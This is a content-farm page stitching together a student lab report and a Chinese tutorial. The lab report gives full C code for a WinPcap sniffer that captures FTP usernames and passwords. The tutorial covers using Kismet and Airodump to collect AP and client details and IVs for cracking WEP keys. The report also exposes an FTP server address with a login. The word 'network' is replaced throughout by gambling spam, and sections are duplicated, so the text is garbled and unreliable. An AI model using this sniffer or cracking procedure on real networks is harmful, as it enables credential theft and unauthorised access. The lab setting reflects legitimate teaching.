51阅读吧 - 为您打造专业优质的文章分享平台!
您的当前位置: 51阅读吧 >

申请注册送体验金

NO.1 嗅探器的实现

计算机通信申请注册送体验金实验

嗅探器的实现

学院:

班级: 学号: 姓名:

2012年11月22日

一、 实验目的

掌握基于Libpcap/Winpcap的协议分析器的设计方法

二、 原理介绍

嗅探器程序一般包括内核部分和用户分析部分。

1) 内核部分负责从申请注册送体验金中捕获和过滤数据。

2) 用户分析部分负责界面、数据转化与处理、格式化、协议分析,如果在内核没有过滤数据包,在这里还要对数据进行过滤。

一个较为完整的基于申请注册送体验金监听和过滤的程序一般包括以下步骤:

1) 数据包捕获

2) 数据包过滤与分解

3) 数据分析

数据包捕获常用的方法有两种:

1) 通过设置硬路由器的监听端口;

2) 利用以太申请注册送体验金的广播特性。这种方式必须将网卡设置为混杂(promiscuous)模式。

监听程序工作在申请注册送体验金环境的底三层,可以拦截所有经过该机器的申请注册送体验金上传送的数据,然后将这些数据做相应处理,可以实时分析这些数据的内容,进而分析申请注册送体验金当前状态和整体布局。

基于windows的数据包捕获方案有以下几种:

1) 使用原始套接字(row socket)机制。方法简单,但功能有限,只能捕获较高层的数据包;

2) 直接连接调用NDIS库函数,这种方法功能非常强大,但是比较危险,很可能导致系统崩溃和申请注册送体验金瘫痪;

基于windows的数据包捕获方案有以下几种:

1) 使用或者自行编写中间层驱动程序,这是微软公司推荐使用的一种方法,微软提供的win2000 DDK中也提供了几个这样的驱动程序。在具体的实现方式上可分为用户级和内核级两类。其中内核级主要是TDI捕获过滤驱动程序,NDIS中间层捕获过滤驱动程序,NDIS捕获过滤钩子驱动程序等,它们都是利用申请注册送体验金驱动来实现的;而用户级的包括SPI接口,Windows2000包捕获过滤接口等;

2) 使用或自行编写协议驱动程序;

3) 使用第三方捕获组件或者库,比如Winpcap。

捕获数据包后要进行的工作是对其进行包过滤与分解,就是在海量的数据里面找我们感兴趣的内容。

一些基础的过滤规则如下:

1) 站过滤:专门筛选出来自一台主机或者服务器的数据;

2) 协议过滤:根据不同的协议来筛选数据,例如:选择TCP数据而非UDP数据;

3) 服务过滤:根据端口号来选择特定数据包;

4) 通用过滤:通过数据包中某一特定位置开始,选择具有某些共同数据特征的数据包;

过滤完成后,必须进行数据分析,这一部分就是对已经捕获的数据包进行各种分析,比如:申请注册送体验金流量分析、数据包中信息、分析敏感信息提取分析等,功能取决于系统要达到的目的。

WinPcap是Windows平台下一个专业申请注册送体验金数据包捕获开发包,是为Libpcap在Windows平台下实现数据包的捕获而设计的。

Libcap(Winpcap是其windows版本)可以提供与平台无关的接口,而且操作简单,它是基于改进的BPF(Berkeley Packet Filter),该软件来自Berkeley的Lawrence National Laboratory研究院。使用Winpcap包过程比较规范。

基于Libcap/Winpcap库的基本使用流程比较规范,一般为:

1) 使用pcap_lookupdev获取设备;

2) 使用pcap_lookupnet获取申请注册送体验金地址和子网掩码;

3) 使用pcap_open_live打开设备;

4) 使用pcap_complile编译过滤规则;

5) 使用pcap_setfilter设置过滤规则;

6) 使用pcap_loop循环捕获数据包,在其中调用相应处理函数;

7) 使用pcap_close关闭设备句柄。

三、 实验环境

Windows 2000以上版本,WinPcap3.0。

四、 实验思路

1、根据TCP/IP协议中各层的数据包格式编写数据头部的结构体,便于存储调用各层数据头部信息;

IP数据报:

TCP报文格式:

2、以老师给出的参考代码为基础编写基于Winpcap的监听过程,为了过滤出登录FTP服务器的帐号和密码,将过滤规则设置为“port 21”,即只过滤出端口号为21的传输数据;

3、在回调函数中对捕获到的数据包进行分析,打印出每条数据包的时间、源地址和目的地址,并找出关键字“USER”和“PASS”,过滤出FTP服务器的帐号和密码。

五、 实验步骤

参考代码编写基于WinPcap的监听程序。

参考给出的代码,实现一个监听程序能够自动过滤FTP的用户名和密码。

1. 代码:

#pragma comment(lib, "ws2_32.lib") //WINSOCK API连接库文件

#include "pcap.h"

u_char user[20]; //存放用户名

u_char pass[20]; //存放密码

/* TCP header*/

typedef struct tcp_header{

u_short sport; // Source port 16bits

u_short dport; // Destination port 16bits

u_int seq; //序列号 32bits

u_int ack_num; //确认号 32bits

u_char ihl; //Internet header length (4 bits)+4bits保留

u_char frame; // 2bits保留+URG+ACK+PSH+RST+SYN+FIN

u_short wsize; //window size 16bits

u_short crc; //Header checksum 首部校验和(16 bits)

u_short urg; //urgent frame 16bits

}tcp_header;

/* 4 bytes IP address */

typedef struct ip_address{

u_char byte1;

u_char byte2;

u_char byte3;

u_char byte4;

}ip_address;

/* IPv4 header */

typedef struct ip_header{

u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)版本+首部长度

u_char tos; // Type of service 区分服务(8 bits)

u_short tlen; // Total length 总长度(16 bits)

u_short identification; // Identification 标识(16 bits)

u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)标志和片偏移 u_char ttl; // Time to live 生存时间(8 bits)

u_char proto; // Protocol 协议(8 bits)

u_short crc; // Header checksum 首部校验和(16 bits)

ip_address saddr; // Source address(32 bits)

ip_address daddr; // Destination address(32 bits)

u_int op_pad; // Option + Padding

}ip_header;

/* prototype of the packet handler */

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

main()

{

pcap_if_t *alldevs, *d;

int inum;

int i=0; //申请注册送体验金设备个数

pcap_t *adhandle; //网卡描述符

char errbuf[PCAP_ERRBUF_SIZE];

unsigned int netmask;

char packet_filter[] = "port 21"; //过滤规则

struct bpf_program fcode;

/* Retrieve the device list 获取申请注册送体验金设备列表*/

if (pcap_findalldevs(&alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);

exit(1);

}

/* Print the list */

for(d=alldevs; d; d=d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)n", d->description);

else

printf(" (No description available)n");

}

if(i==0) //没有获取到申请注册送体验金设备时,显示提示

{

printf("nNo interfaces found! Make sure WinPcap is installed.n"); return -1;

}

printf("Enter the interface number (1-%d):",i);

scanf("%d", &inum);

if(inum < 1 || inum > i)

{

printf("nInterface number out of range.n");

pcap_freealldevs(alldevs); /* Free the device list */ return -1;

}

/* Jump to the selected adapter */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

/* Open the adapter */

if ( (adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture.

1, // promiscuous mode 混杂模式

1000, // read timeout,单位ms

errbuf // error buffer

) ) == NULL)

{

fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn");

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

/* Check the link layer. We support only Ethernet for simplicity. */ if(pcap_datalink(adhandle) != DLT_EN10MB)

//返回链路层的类型,DLT_EN10MB是以太网

{

fprintf(stderr,"nThis program works only on Ethernet networks.n");

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

if(d->addresses != NULL)

/* Retrieve the mask of the first address of the interface 获取子网掩码*/ netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr; else

/* If the interface is without addresses we suppose to be in a C class network */ netmask=0xffffff;

//compile the filter 编译过滤规则,packet_filter->fcode(内核认识的格式),char packet_filter[] = "port 21"

if(pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 ){

fprintf(stderr,"nUnable to compile the packet filter. Check the syntax.n"); /* Free the device list */

pcap_freealldevs(alldevs);

return -1;

}

//set the filter 所有的一致的数据包将被复制给应用程序

if(pcap_setfilter(adhandle, &fcode)<0){

fprintf(stderr,"nError setting the filter.n");

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

printf("nlistening on %s...nn", d->description);

/* At this point, we don't need any more the device list. Free it */

pcap_freealldevs(alldevs);

pcap_loop(adhandle,30, packet_handler, NULL);

/* start the capture 抓取30个包,回调函数packet_handler*/

printf("n**User:%sn**Password:%sn",user,pass);

return 0;

}

/* Callback function invoked by libpcap for every incoming packet */

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)

{

struct tm *ltime;

char timestr[16];

ip_header *ih; //指向ip数据报

tcp_header *th; //指向tcp报文

u_char *pdata; //指向传输数据

u_int ip_len; //IP数据报头部长度

u_int tcp_len; //TCP报文头部长度

u_short sport,dport; //源端口和目的端口地址

u_int data_len; //数据长度

u_int i;

/* convert the timestamp to readable format */

ltime=localtime(&header->ts.tv_sec);

strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);

/* print timestamp and length of the packet */

printf("%s.%.6d len:%d ", timestr, header->ts.tv_usec, header->len);

/* retireve the position of the ip header */

ih = (ip_header *) (pkt_data + 14); //length of ethernet header

/* retireve the position of the udp header */

ip_len = (ih->ver_ihl & 0xf) * 4;

//ver_ihl是8bit,位与0xf,高4位清零,后4位是首部长度,单位:4字节 th = (tcp_header *) ((u_char*)ih + ip_len);

/* convert from network byte order to host byte order */

sport = ntohs( th->sport );

dport = ntohs( th->dport );

/* print ip addresses and udp ports */

printf("%d.%d.%d.%d.%d -> %d.%d.%d.%d.%dn", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4,//源ip地址

sport, //源地址的端口

ih->daddr.byte1,ih->daddr.byte2,ih->daddr.byte3,ih->daddr.byte4,//目的ip地址 dport); //目的地址的端口

tcp_len=((th->ihl & 0xf0)>>4)*4; //tcp报文头部长度

pdata=(u_char*)th+tcp_len;

data_len=header->len-ip_len-tcp_len-16;

//计算传输数据的长度,16包含帧头部和尾部

//过滤USER信息

if(*pdata=='U' && *(pdata+1)=='S' && *(pdata+2)=='E' && *(pdata+3)=='R') {

memset(user,0,sizeof(user));

pdata+=5;

for(i=0;i<data_len-5;i++)

{

user[i]=*pdata;

pdata++;

}

}

//过滤PASSWORD信息

if(*pdata=='P' && *(pdata+1)=='A' && *(pdata+2)=='S' && *(pdata+3)=='S') {

memset(pass,0,sizeof(pass));

pdata+=5;

for(i=0;i<data_len-5;i++)

{

pass[i]=*pdata;

pdata++;

}

}

}

2、实验结果

客户端:

ftp服务器的地址是ftp://222.25.162.196

客户端在浏览器地址栏中输入服务器地址,首先出现如下对话框,客户输入用户名和密码后即可登录。

用户名:dell

密码: yl253631

登录后界面如下,网页上所显示的文件均是ftp服务器上的文件,可以查看和下载。

服务器:

程序运行后的doc界面:

从上图可以看出,本主机有3个申请注册送体验金设备,用户可以选择任何一个监听,现在选择的是第一个申请注册送体验金设备接口进行监听。随后,嗅探器捕获了30个数据包,并过滤出了用户名和密码,可以看到,与客户端登陆时所用用户名密码相同,表明该程序满足了设计要求。

六、 实验心得

在本次实验中我们通过用C语言编写基于winpcap的简易嗅探器,成功捕获了ftp数据包,过滤出了用户名和密码。

在本次编程过程中,我们遇到了不少困难,也学到了不少知识。首先是刚开始尝试编译老师给的参考代码使发现有错误,后来发现是如果我们要使用winpcap中的各种函数和结构体,就必须在vc环境中进行一些部署。

其次是由于TCP/IP协议的各层数据格式虽然都学习过,但已经有些遗忘了,所以编程的时候我们重新学习了TCP/IP协议的相关知识,也掌握了对各层数据头部地址的计算和提取地址等信息。

此外,我们还学习到了申请注册送体验金字节顺序和本机字节顺序的不同。读取的时候如果不注意,会出现不少混乱。针对这一现象,可以用函数htons()和ntohs()解决。

总之,本次实验不管在理论还是实践上都让我受益颇多,我希望以后能学习更多相关的知识。

NO.2 Kismet:一款超强的无线嗅探器(1)

Kismet是一个基于Linux的无线申请注册送体验金扫描程序,这是一个相当方便的工具,通过测量周围的无线信号来找到目标WLAN。虽说Kismet也可以捕获申请注册送体验金上的数据通信,但在还有其他更好的工具使用(如Airodump),在这里我们只使用它来确认无线网卡是否正常工作和用来扫描无线申请注册送体验金,在下面的部分中将会换用不同的工具软件来真正地侦听和捕获申请注册送体验金上的数据通信。

下载链接:http://down.51cto.com/data/146149

>>去申请注册送体验金安全工具百宝箱看看其它安全工具

1、用Kismet进行申请注册送体验金探测

单击Programs 图标,然后是Auditor,再 Wireless,, 然后Scanner/Analyzer,最后是 Kismet ,来运行Kismet程序。如图1所示。

图1:运行Kismet

除扫描无线申请注册送体验金之外,Kismet还可以捕获申请注册送体验金中的数据包到一个文件中以方便以后加以分析使用,因此Kismet会询问用来存放捕获数据包的文件的位置,如我想把这些文件保存到root\desktop下,则单击“Desktop”,然后选择“OK”即可,如图2所示。然后Kismet然后会询问捕获文件的前缀名字,我们可以更改这个默认的名字,例如把它更改为“capture”然后点击OK,这样Kismet就会以capture为文件名的开头,再在其后依次添加序号来保存捕捉下来的数据包到不同的文件中。

图2:在Kismet中指定文件的存放位置

当Kismet开始运行时,它将会显示这个区域内它找到的所有的无线局域网,“Name”那一列中所显示出来的内容就是哪一个WLAN中AP的SSID值,那当然开始设定的目标WLAN也应该包含中其中(Name下值为starbucks的那一行),在这一行中,CH列的值(AP所使用的频道)应该与开始所记下的相同。在窗口的最右边显示的信息是Kismet发现的WLAN的数目,已被捕捉下来了的数据包、已加密了的数据包的数目等等。如下图3所示。如果Kismet发现了许多相邻的Access Point,你应把这个实验环境搬得离这些AP更远一些,或者把与你网上相连接的任何高增益天线断开。

甚至当目标计算机已关闭时,Kismet也正可从我们的目标AP中检测到数据包,这是因为目标AP在不停地发出“beacons”,它将告之拥有无线网卡的计算机有一个AP在此范围内,我们可以这样想像,这台AP宣布,“我的名字是XXXXX,请大家与我连接。”

图3:Kismet显示的内容

默认的Kismet是运行在“autofit”模式下的,它显示的内容杂乱无章的,我们可以通过排序把AP按任何有意义有顺序来重新排列,按下“s”键到“Sort”菜单,在这儿可以按下某个字母来对搜寻到的AP进行排序,如“f”键是按AP名字的第一个字母来排序,而“c”键是按AP使用的频道来进行排序,“l”是按时间来进行排序等等。

现在我们来查看一下目标WLAN中AP的详细信息,按下“s”键,然后再按下“c”键,把整个AP的列表用频道的方式来排列,使用光标键移动高亮条到表示目标AP的SSID上,然后敲下回车键,然后将打开一个显示所选择AP的详细信息的说明窗口(SSID、MAC地址和频道等)。这样,要破解一个加密WLAN的WEP密钥所需要的基本信息大部分都在这儿了。如图4所示。有些WLAN从安全方面考试,隐藏了SSID或屏蔽SSID广播,这样做的话的确能够防止使用Netstumbler来扫描,但碰上Kismet就毫无办法了,它可轻易地检测到隐藏的SSID。Kismet能够比Netstumbler捕捉到更多的申请注册送体验金信息,能够通过跟踪AP及与之相连接的客户端之间的会话而发现某个AP的SSID。

图4:Kismet显示一个AP的详细信息

要完成一个破解过程,还有最后一个需要了解的信息,就是WLAN中连接在目标AP上的无线客户端的MAC地址,这个使用Kismet也是很轻易地搞定的。返回Kismet,按下“q”键退出详细信息窗口,默认的选择仍旧是刚才查看了的目标AP,使用“Shift+C”键,这时会打开一个与目标AP相关的客户端列表,它们的MAC地址就显示在这个窗口的左边。如图5所示。在这个窗口显示的内容中,不但包含了与AP相连的客户端的MAC地址,还包括AP自己的MAC地址,还记得在本文的开头所记下的目标AP的MAC地址吗?在这,除了目标AP的MAC地址外就是客户端的MAC地址了。

图5:使用Kismet寻找客户端的MAC地址

如果你没有看到Target计算机的MAC地址,请检查一下,确认一下它是否已开机或连接到了目标AP(启动目标计算机,连接到目标AP并打开WEB页面),大约10-30秒后,你将会看到目标计算机的MAC地址在Kismet中弹出。当然,把所有的客户端MAC地址都记下来也不失为一个老道的方法,这样就可避免在开始破解过程时一个客户端也没有出现时受阻。

Kismet:一款超强的无线嗅探器(1)_kismet

2、用Airodump来捕获数据包

现在了解破解所需的基本信息了,该是开始使用Airodump工具的时候了,Airodump的主要工作是捕获数据包并为Aircrack建立一个包含捕获数据的文件。在用来攻击与破解的两台计算机中的任一一台上,笔者是使用的是Attack计算机,打开一个shell窗口并输入以下的命令:

iwconfig wlan0 mode monitor

iwconfig wlan0 channel THECHANNELNUM

cd /ramdisk

airodump wlan0 cap

注意:把THECHANNELNUM这个值更改成所要破解的WLAN中的频道数,/ramdisk目录是存储捕获数据文件的位置。如果在实验WLAN环境的附近还有别的WAP,则可目标AP的MAC地址附在airodump命令的后部作为参数,如:airodump wlan0 cap1 MACADDRESSOFAP。如图6所示。

图6:Airodump命令的格式

这个命令仅仅是使airodump把捕获到的目标AP的数据包写入到那个生成的数据文件中(cap1)。 按下Ctrl+C键退出Airodump,输入ls –l命令列出这个目录中的内容,看看扩展名为.cap文件的大小。在经过几秒钟的捕获动作后,如果有数据包被成功地捕捉下来,那生成的这个包文件大约为几个 KB大小。如果Airodump使用同一个参数在捕获数据包时被停止和重新开始后,这个生成的包文件会依照前一个文件顺序添加,如第一个为cap1,第二个为cap2等。

当Airodump在运行时,在该窗口左边看到的BSSID下列出来的值就是目标AP的MAC地址。在这个Airodump的运行窗口中,我们会看到Packet和IV这两个值正在不停地增长,这都是由于Windows检测申请注册送体验金时产生的正常申请注册送体验金通信,甚至在目标客户端上并没有打开WEB网页收发email也是如此。过一会儿后就会看到IV值只会几个几个慢慢地上升,不过如果在目标计算机上浏览网页时,随着每一个新页面的打开,Airodump中的IV值会在不断地快速上升。如图7所示。

图7:Airodump显示的IV值

在这儿,我们对Packet 的值不感兴趣,因为它并不能够有助于破解WEP,IV 值则是个很重要的数字,因为如果要破解一个64bit的WEP密钥,需要捕获大约50000到200000个IV,而破解一个128bit的WEP密钥,则需要大约200000到700000个IV。

大家可能会注意到,在正常的申请注册送体验金通信条件下,IV值不会增长得很快。实际上,在正常的通信条件下,要成功地破解WEP密钥而需要从大多数的WLAN中捕获足够数量的数据包可能会花费数小时甚至数天的时间。幸运的是,我们还有有几个办法可以把这个速度提高起来。要使IV值快速地上升,最有效的办法就是加大申请注册送体验金的通信量,把目标WLAN变得繁忙起来,加快数据包产生的速度,通过连续不断地ping某台计算机或在目标计算机上下载一个很大的文件能够模仿这一过程,让Attack计算机上运行Airodump,可看到IV值慢慢在上升,再使用BT软件下载一个大的文件(如分布式Linux系统的.ISO文件或电影),这样IV值上升的速度就快多了。

还有一个方法,在Windows的命令提示符窗口输入如下的命令来进行一个持续不断的ping:

ping -t -l 50000 ADDRESS_OF_ANOTHER_LAN_CLIENT

这里 ADDRESS_OF_ANOTHER_LAN_CLIENT值更改成在本局域网中目标AP、路由器或其他任何可ping得通的客户端的IP地址。

NO.3 Kismet:一款超强的无线嗅探器

Kismet是一个基于Linux的无线申请注册送体验金扫描程序,这是一个相当方便的工具,通过测量周围的无线信号来找到目标WLAN。虽说Kismet也可以捕获申请注册送体验金上的数据通信,但在还有其他更好的工具使用(如Airodump),在这里我们只使用它来确认无线网卡是否正常工作和用来扫描无线申请注册送体验金,在下面的部分中将会换用不同的工具软件来真正地侦听和捕获申请注册送体验金上的数据通信。

下载链接:

1、用Kismet进行申请注册送体验金探测(www.barbed-wire-fence.com)

单击Programs 图标,然后是Auditor,再 Wireless,, 然后Scanner/Analyzer,最后是 Kismet ,来运行Kismet程序。如图1所示。

498)this.width=498;" border=0>

图1:运行Kismet

除扫描无线申请注册送体验金之外,Kismet还可以捕获申请注册送体验金中的数据包到一个文件中以方便以后加以分析使用,因此Kismet会询问用来存放捕获数据包的文件的位置,如我想把这些文件保存到rootdesktop下,则单击“Desktop”,然后选择“OK”即可,如图2所示。然后Kismet然后会询问捕获文件的前缀名字,我们可以更改这个默认的名字,例如把它更改为“capture”然后点击OK,这样Kismet就会以capture为文件名的开头,再在其后依次添加序号来保存捕捉下来的数据包到不同的文件中。

498)this.width=498;" border=0>

图2:在Kismet中指定文件的存放位置

当Kismet开始运行时,它将会显示这个区域内它找到的所有的无线局域网,“Name”那一列中所显示出来的内容就是哪一个WLAN中AP的SSID值,那当然开始设定的目标WLAN也应该包含中其中(Name下值为starbucks的那一行),在这一行中,CH列的值(AP所使用的频道)应该与开始所记下的相同。在窗口的最右边显示的信息是Kismet发现的WLAN的数目,已被捕捉下来了的数据包、已加密了的数据包的数目等等。如下图3所示。如果Kismet发现了许多相邻的Access Point,你应把这个实验环境搬得离这些AP更远一些,或者把与你网上相连接的任何高增益天线断开。

甚至当目标计算机已关闭时,Kismet也正可从我们的目标AP中检测到数据包,这是因为目标AP在不停地发出“beacons”,它将告之拥有无线网卡的计算机有一个AP在此范围内,我们可以这样想像,这台AP宣布,“我的名字是XXXXX,请大家与我连接。”

498)this.width=498;" border=0>

图3:Kismet显示的内容

默认的Kismet是运行在“autofit”模式下的,它显示的内容杂乱无章的,我们可以通过排序把AP按任何有意义有顺序来重新排列,按下“s”键到“Sort”菜单,在这儿可以按下某个字母来对搜寻到的AP进行排序,如“f”键是按AP名字的第一个字母来排序,而“c”键是按AP使用的频道来进行排序,“l”是按时间来进行排序等等。

现在我们来查看一下目标WLAN中AP的详细信息,按下“s”键,然后再按下“c”键,把整个AP的列表用频道的方式来排列,使用光标键移动高亮条到表示目标AP的SSID上,然后敲下回车键,然后将打开一个显示所选择AP的详细信息的说明窗口(SSID、MAC地址和频道等)。这样,要破解一个加密WLAN的WEP密钥所需要的基本信息大部分都在这儿了。如图4所示。有些WLAN从安全方面考试,隐藏了SSID或屏蔽SSID广播,这样做的话的确能够防止使用Netstumbler来扫描,但碰上Kismet就毫无办法了,它可轻易地检测到隐藏的SSID。Kismet能够比Netstumbler捕捉到更多的申请注册送体验金信息,能够通过跟踪AP及与之相连接的客户端之间的会话而发现某个AP的SSID。

498)this.width=498;" border=0>

图4:Kismet显示一个AP的详细信息

要完成一个破解过程,还有最后一个需要了解的信息,就是WLAN中连接在目标AP上的无线客户端的MAC地址,这个使用Kismet也是很轻易地搞定的。返回Kismet,按下“q”键退出详细信息窗口,默认的选择仍旧是刚才查看了的目标AP,使用“Shift+C”键,这时会打开一个与目标AP相关的客户端列表,它们的MAC地址就显示在这个窗口的左边。如图5所示。在这个窗口显示的内容中,不但包含了与AP相连的客户端的MAC地址,还包括AP自己的MAC地址,还记得在本文的开头所记下的目标AP的MAC地址吗?在这,除了目标AP的MAC地址外就是客户端的MAC地址了。

498)this.width=498;" border=0>

图5:使用Kismet寻找客户端的MAC地址

如果你没有看到Target计算机的MAC地址,请检查一下,确认一下它是否已开机或连接到了目标AP(启动目标计算机,连接到目标AP并打开WEB页面),大约10-30秒后,你将会看到目标计算机的MAC地址在Kismet中弹出。当然,把所有的客户端MAC地址都记下来也不失为一个老道的方法,这样就可避免在开始破解过程时一个客户端也没有出现时受阻

2、用Airodump来捕获数据包

现在了解破解所需的基本信息了,该是开始使用Airodump工具的时候了,Airodump的主要工作是捕获数据包并为Aircrack建立一个包含捕获数据的文件。在用来攻击与破解的两台计算机中的任一一台上,笔者是使用的是Attack计算机,打开一个shell窗口并输入以下的命令:

iwconfig wlan0 mode monitor

iwconfig wlan0 channel THECHANNELNUM

cd /ramdisk

airodump wlan0 cap

注意:把THECHANNELNUM这个值更改成所要破解的WLAN中的频道数,/ramdisk目录是存储捕获数据文件的位置。如果在实验WLAN环境的附近还有别的WAP,则可目标AP的MAC地址附在airodump命令的后部作为参数,如:airodump wlan0 cap1 MACADDRESSOFAP。如图6所示。

扩展:无线申请注册送体验金嗅探器 / 无线嗅探器 / 超强信号无线路由器

498)this.width=498;" border=0>

图6:Airodump命令的格式

这个命令仅仅是使airodump把捕获到的目标AP的数据包写入到那个生成的数据文件中(cap1)。 按下Ctrl+C键退出Airodump,输入ls –l命令列出这个目录中的内容,看看扩展名为.cap文件的大小。在经过几秒钟的捕获动作后,如果有数据包被成功地捕捉下来,那生成的这个包文件大约为几个 KB大小。如果Airodump使用同一个参数在捕获数据包时被停止和重新开始后,这个生成的包文件会依照前一个文件顺序添加,如第一个为cap1,第二个为cap2等。

当Airodump在运行时,在该窗口左边看到的BSSID下列出来的值就是目标AP的MAC地址。在这个Airodump的运行窗口中,我们会看到Packet和IV这两个值正在不停地增长,这都是由于Windows检测申请注册送体验金时产生的正常申请注册送体验金通信,甚至在目标客户端上并没有打开WEB网页收发email也是如此。过一会儿后就会看到IV值只会几个几个慢慢地上升,不过如果在目标计算机上浏览网页时,随着每一个新页面的打开,Airodump中的IV值会在不断地快速上升。如图7所示。

498)this.width=498;" border=0>

图7:Airodump显示的IV值

在这儿,我们对Packet 的值不感兴趣,因为它并不能够有助于破解WEP,IV 值则是个很重要的数字,因为如果要破解一个64bit的WEP密钥,需要捕获大约50000到200000个IV,而破解一个128bit的WEP密钥,则需要大约200000到700000个IV。

大家可能会注意到,在正常的申请注册送体验金通信条件下,IV值不会增长得很快。实际上,在正常的通信条件下,要成功地破解WEP密钥而需要从大多数的WLAN中捕获足够数量的数据包可能会花费数小时甚至数天的时间。幸运的是,我们还有有几个办法可以把这个速度提高起来。要使IV值快速地上升,最有效的办法就是加大

扩展:无线申请注册送体验金嗅探器 / 无线嗅探器 / 超强信号无线路由器

NO.4 嗅探器的实现

typedef struct ip_header{

u_char ver_ihl; // Version (4 bits) + Internet header length (4 bits)版本+首部长度

u_char tos; // Type of service 区分服务(8 bits)

u_short tlen; // Total length 总长度(16 bits)

u_short identification; // Identification 标识(16 bits)

u_short flags_fo; // Flags (3 bits) + Fragment offset (13 bits)标志和片偏移 u_char ttl; // Time to live 生存时间(8 bits)

u_char proto; // Protocol 协议(8 bits)

u_short crc; // Header checksum 首部校验和(16 bits)

ip_address saddr; // Source address(32 bits)

ip_address daddr; // Destination address(32 bits)

u_int op_pad; // Option + Padding

}ip_header;

/* prototype of the packet handler */

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

main()

{

pcap_if_t *alldevs, *d;

int inum;

int i=0; //申请注册送体验金设备个数

pcap_t *adhandle; //网卡描述符

char errbuf[PCAP_ERRBUF_SIZE];

unsigned int netmask;

char packet_filter[] = "port 21"; //过滤规则

struct bpf_program fcode;

/* Retrieve the device list 获取申请注册送体验金设备列表*/

if (pcap_findalldevs(&alldevs, errbuf) == -1)

{

fprintf(stderr,"Error in pcap_findalldevs: %sn", errbuf);

exit(1);

}

嗅探器 嗅探器的实现

/* Print the list */

for(d=alldevs; d; d=d->next)

{

printf("%d. %s", ++i, d->name);

if (d->description)

printf(" (%s)n", d->description);

else

printf(" (No description available)n");

}

if(i==0) //没有获取到申请注册送体验金设备时,显示提示

{

printf("nNo interfaces found! Make sure WinPcap is installed.n"); return -1;

}

printf("Enter the interface number (1-%d):",i);

scanf("%d", &inum);

if(inum < 1 || inum > i)

{

printf("nInterface number out of range.n");

pcap_freealldevs(alldevs); /* Free the device list */ return -1;

}

/* Jump to the selected adapter */

for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

/* Open the adapter */

if ( (adhandle= pcap_open_live(d->name, // name of the device 65536, // portion of the packet to capture.

1, // promiscuous mode 混杂模式

1000, // read timeout,单位ms

errbuf // error buffer

) ) == NULL)

{

fprintf(stderr,"nUnable to open the adapter. %s is not supported by WinPcapn");

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

/* Check the link layer. We support only Ethernet for simplicity. */ if(pcap_datalink(adhandle) != DLT_EN10MB)

//返回链路层的类型,DLT_EN10MB是以太网

{

fprintf(stderr,"nThis program works only on Ethernet networks.n");

嗅探器 嗅探器的实现

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

if(d->addresses != NULL)

/* Retrieve the mask of the first address of the interface 获取子网掩码*/ netmask=((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.S_un.S_addr; else

/* If the interface is without addresses we suppose to be in a C class network */ netmask=0xffffff;

//compile the filter 编译过滤规则,packet_filter->fcode(内核认识的格式),char packet_filter[] = "port 21"

if(pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) <0 ){

fprintf(stderr,"nUnable to compile the packet filter. Check the syntax.n"); /* Free the device list */

pcap_freealldevs(alldevs);

return -1;

}

//set the filter 所有的一致的数据包将被复制给应用程序

if(pcap_setfilter(adhandle, &fcode)<0){

fprintf(stderr,"nError setting the filter.n");

pcap_freealldevs(alldevs); /* Free the device list */

return -1;

}

printf("nlistening on %s...nn", d->description);

/* At this point, we don't need any more the device list. Free it */

pcap_freealldevs(alldevs);

pcap_loop(adhandle,30, packet_handler, NULL);

/* start the capture 抓取30个包,回调函数packet_handler*/

printf("n**User:%sn**Password:%sn",user,pass);

return 0;

}

/* Callback function invoked by libpcap for every incoming packet */

void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)

{

struct tm *ltime;

char timestr[16];

ip_header *ih; //指向ip数据报

tcp_header *th; //指向tcp报文

u_char *pdata; //指向传输数据

u_int ip_len; //IP数据报头部长度

u_int tcp_len; //TCP报文头部长度

嗅探器 嗅探器的实现

u_short sport,dport; //源端口和目的端口地址

u_int data_len; //数据长度

u_int i;

/* convert the timestamp to readable format */

ltime=localtime(&header->ts.tv_sec);

strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);

/* print timestamp and length of the packet */

printf("%s.%.6d len:%d ", timestr, header->ts.tv_usec, header->len);

/* retireve the position of the ip header */

ih = (ip_header *) (pkt_data + 14); //length of ethernet header

/* retireve the position of the udp header */

ip_len = (ih->ver_ihl & 0xf) * 4;

//ver_ihl是8bit,位与0xf,高4位清零,后4位是首部长度,单位:4字节 th = (tcp_header *) ((u_char*)ih + ip_len);

/* convert from network byte order to host byte order */

sport = ntohs( th->sport );

dport = ntohs( th->dport );

/* print ip addresses and udp ports */

printf("%d.%d.%d.%d.%d -> %d.%d.%d.%d.%dn", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4,//源ip地址

sport, //源地址的端口

ih->daddr.byte1,ih->daddr.byte2,ih->daddr.byte3,ih->daddr.byte4,//目的ip地址 dport); //目的地址的端口

tcp_len=((th->ihl & 0xf0)>>4)*4; //tcp报文头部长度

pdata=(u_char*)th+tcp_len;

data_len=header->len-ip_len-tcp_len-16;

//计算传输数据的长度,16包含帧头部和尾部

//过滤USER信息

if(*pdata=='U' && *(pdata+1)=='S' && *(pdata+2)=='E' && *(pdata+3)=='R') {

memset(user,0,sizeof(user));

pdata+=5;

for(i=0;i<data_len-5;i++)

